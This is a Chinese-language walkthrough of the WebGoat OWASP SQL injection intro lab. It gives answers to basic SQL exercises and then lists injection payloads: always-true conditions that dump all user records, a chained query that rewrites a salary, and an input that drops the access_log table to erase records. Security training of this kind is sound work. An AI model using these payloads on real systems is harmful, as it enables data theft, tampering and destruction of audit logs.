--- disqus: jpower --- # OWASP TOP10 Injection(SQL Injection Intro) ## 2 What is SQL? Q: 練習SQL指令,使用SQL指令查詢查詢Bob的部門 ANS: ``` SELECT department FROM employees WHERE first_name='Bob'; ``` 資料表(employees)如下: ![](https://i.imgur.com/CmIO9jj.png) ![](https://i.imgur.com/a7sprtA.png) ## 3 Data Manipulation Language (DML) Q: 練習SQL指令,更新Tobi Barnett的部門為Sales ANS: ``` UPDATE employees SET department='Sales' WHERE first_name='Tobi'; ``` ![](https://i.imgur.com/bWxfLyK.png) ## 4 Data Definition Language (DDL) Q: 練習SQL指令,新增一個欄位phone到資料表(employees)中 ANS: ``` ALTER TABLE employees ADD phone varchar(20); ``` ![](https://i.imgur.com/Kc80LDB.png) ## 5 Data Control Language (DCL) Q: 練習SQL指令,給unauthorized_user的使用者資料表(grant_rights)的權限 ANS: ``` GRANT ALL ON grant_rights TO unauthorized_user; ``` ![](https://i.imgur.com/o0UgqZE.png) ## 9 Try It! String SQL injection Q: SQL Injection練習,使用注入語法取得所有使用者資訊 ANS: ``` SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or '1' = '1'; ``` ![](https://i.imgur.com/DBJPjA1.png) ## 10 Try It! Numeric SQL injection Q: SQL Injection練習,使用注入語法取得所有使用者資訊 ANS: ``` SELECT * From user_data WHERE Login_Count = 1 AND userid= '1' OR '1'='1'; ``` 說明: SQL語法的AND優先於OR,所以上述解答的語法條件其實是如下所示,因此注入攻擊會成立。 ``` (Login_Count = 1 AND userid= '1') OR ('1'='1') ``` ![](https://i.imgur.com/sPsTfKU.png) ## 11 Compromising confidentiality with String SQL injection Q: SQL Injection練習,使用注入語法取得所有使用者資訊 ANS: ``` Employee Name輸入: Smith' OR '1'='1' -- ``` ![](https://i.imgur.com/qwQEhaQ.png) ## 12 Compromising Integrity with Query chaining Q: SQL Injection練習,修改資料表內容,將Smith的薪水調高 ANS: ``` Employee Name輸入: Smith'; UPDATE employees SET salary=99999 WHERE last_name='Smith' -- ``` ![](https://i.imgur.com/QdMBwK0.png) ## 13 Compromising Availability Q: SQL Injection練習,抹除操作記錄(刪除資料表acces_log) ANS: ``` Action contains輸入: ';DROP TABLE access_log;-- ``` ![](https://i.imgur.com/NfJKNfZ.png) ###### tags: `webgoat`,`Injection`